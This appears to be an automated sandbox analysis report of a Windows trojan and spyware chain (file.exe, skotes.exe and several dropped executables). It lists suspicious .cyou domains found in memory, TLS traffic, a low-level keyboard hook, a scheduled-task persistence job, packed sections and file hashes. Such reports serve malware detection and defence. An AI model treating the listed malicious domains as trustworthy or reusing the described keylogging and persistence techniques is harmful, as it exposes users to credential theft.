Source: 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sordid-snaked.cyou/apid
Source: 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sordid-snaked.cyou/apilWSH
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/s
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/
Source: 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/2
Source: 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wrathful-jammy.cyou/T
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935

Source: unknown	HTTPS traffic detected: 104.21.51.88:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.207.38:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.218.51:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.207.38:443 -> 192.168.2.4:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49951 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe

Code function: 12_2_00408DBB SetWindowsHookExW 00000002,Function_00008D8D,00000000,00000000

12_2_00408DBB

System Summary

Drops password protected ZIP file

Source: file.bin.12.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: 378e4894d2.exe.5.dr	Static PE information: section name:
Source: 378e4894d2.exe.5.dr	Static PE information: section name: .idata
Source: 378e4894d2.exe.5.dr	Static PE information: section name:
Source: e145bb7f6e.exe.5.dr	Static PE information: section name:
Source: e145bb7f6e.exe.5.dr	Static PE information: section name: .idata
Source: e145bb7f6e.exe.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: b12a870d60.exe.5.dr	Static PE information: section name:
Source: b12a870d60.exe.5.dr	Static PE information: section name: .idata
Source: b12a870d60.exe.5.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_0060CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

5_2_0060CB97

Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe

Code function: 7_2_00E501A1: DeviceIoControl,GetLastError,

7_2_00E501A1

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B378BB	0_2_00B378BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B38860	0_2_00B38860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B37049	0_2_00B37049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B331A8	0_2_00B331A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF4B30	0_2_00AF4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF4DE0	0_2_00AF4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B32D10	0_2_00B32D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3779B	0_2_00B3779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B27F36	0_2_00B27F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00638860	1_2_00638860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00637049	1_2_00637049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_006378BB	1_2_006378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_006331A8	1_2_006331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_005F4B30	1_2_005F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00632D10	1_2_00632D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_005F4DE0	1_2_005F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00627F36	1_2_00627F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0063779B	1_2_0063779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_005FE530	5_2_005FE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00616192	5_2_00616192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00638860	5_2_00638860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_005F4B30	5_2_005F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00632D10	5_2_00632D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_005F4DE0	5_2_005F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00610E13	5_2_00610E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00637049	5_2_00637049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_006331A8	5_2_006331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00611602	5_2_00611602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0063779B	5_2_0063779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_006378BB	5_2_006378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00613DF1	5_2_00613DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00627F36	5_2_00627F36
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E46F70	7_2_00E46F70
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E6B00C	7_2_00E6B00C
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E5B2E0	7_2_00E5B2E0
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E533E0	7_2_00E533E0
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E575F7	7_2_00E575F7
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E4B930	7_2_00E4B930
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E48CE0	7_2_00E48CE0
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E65C73	7_2_00E65C73
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E48ED0	7_2_00E48ED0
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E51EAC	7_2_00E51EAC
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_0096B930	8_2_0096B930
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_00966F70	8_2_00966F70
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_0098B00C	8_2_0098B00C
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_0097B2E0	8_2_0097B2E0
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_009733E0	8_2_009733E0
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_009775F7	8_2_009775F7
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_00968CE0	8_2_00968CE0
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_00985C73	8_2_00985C73
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_00971EAC	8_2_00971EAC
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_00968ED0	8_2_00968ED0
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B4B930	11_2_00B4B930
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B46F70	11_2_00B46F70
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B6B00C	11_2_00B6B00C
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B5B2E0	11_2_00B5B2E0
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B533E0	11_2_00B533E0
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B575F7	11_2_00B575F7
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B48CE0	11_2_00B48CE0
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B65C73	11_2_00B65C73
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B51EAC	11_2_00B51EAC
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B48ED0	11_2_00B48ED0
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_00405BFC	12_2_00405BFC
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_0040B0E0	12_2_0040B0E0
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_0040B0E4	12_2_0040B0E4
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_00419973	12_2_00419973
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_0040A900	12_2_0040A900
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_0040A270	12_2_0040A270
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_0040AC20	12_2_0040AC20
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_00409C20	12_2_00409C20
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_0040D480	12_2_0040D480
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_0040ED00	12_2_0040ED00
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_00409DD0	12_2_00409DD0
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_00419601	12_2_00419601
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_004196DB	12_2_004196DB
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_00418F40	12_2_00418F40
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_0065B930	14_2_0065B930
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_00656F70	14_2_00656F70
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_0067B00C	14_2_0067B00C
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_0066B2E0	14_2_0066B2E0
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_006633E0	14_2_006633E0
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_006675F7	14_2_006675F7
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_00675C73	14_2_00675C73
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_00658CE0	14_2_00658CE0
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_00658ED0	14_2_00658ED0
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_00661EAC	14_2_00661EAC

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe 92228A0012605351CF08DF9A2AD4B93FA552D7A75991F81FB80F1AE854A0E57D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe 9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2

Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: String function: 00B52480 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: String function: 00662480 appears 56 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00B080C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: String function: 00972480 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0060D942 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0060D663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00607A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0060D64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006080C0 appears 263 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00628E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0060DF80 appears 63 times
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: String function: 004029A6 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: String function: 00E52480 appears 56 times

Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7540 -s 996

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982012091280654
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982012091280654
Source: random[2].exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[2].exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: f2cd5ac1bd.exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: f2cd5ac1bd.exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe.5.dr	Static PE information: Section: ZLIB complexity 1.0001672196061644
Source: random[1].exe.5.dr	Static PE information: Section: ubvmxkob ZLIB complexity 0.9945724566850659
Source: random[1].exe0.5.dr	Static PE information: Section: ZLIB complexity 1.0001471532534247
Source: random[1].exe0.5.dr	Static PE information: Section: jqjwcvpd ZLIB complexity 0.994862774171889
Source: 378e4894d2.exe.5.dr	Static PE information: Section: ZLIB complexity 1.0001672196061644
Source: 378e4894d2.exe.5.dr	Static PE information: Section: ubvmxkob ZLIB complexity 0.9945724566850659
Source: e145bb7f6e.exe.5.dr	Static PE information: Section: ZLIB complexity 1.0001471532534247
Source: e145bb7f6e.exe.5.dr	Static PE information: Section: jqjwcvpd ZLIB complexity 0.994862774171889
Source: random[1].exe1.5.dr	Static PE information: Section: srjxsfrr ZLIB complexity 0.9945100254230997
Source: b12a870d60.exe.5.dr	Static PE information: Section: srjxsfrr ZLIB complexity 0.9945100254230997

Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@38/32@20/10

Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe

Code function: 12_2_00409606 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

12_2_00409606

Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe

Code function: 12_2_0040122A GetDiskFreeSpaceExW,SendMessageW,

12_2_0040122A

Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe

Code function: 7_2_00E47CD0 GetModuleFileNameA,CloseHandle,CreateToolhelp32Snapshot,Process32First,GetCurrentProcessId,OpenProcess,QueryFullProcessImageNameW,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,Process32Next,CloseHandle,DeleteFileW,

7_2_00E47CD0

Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe

Code function: 8_2_00963000 CoInitialize,CoCreateInstance,CoUninitialize,RegCloseKey,SHGetFolderPathA,

8_2_00963000

Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe

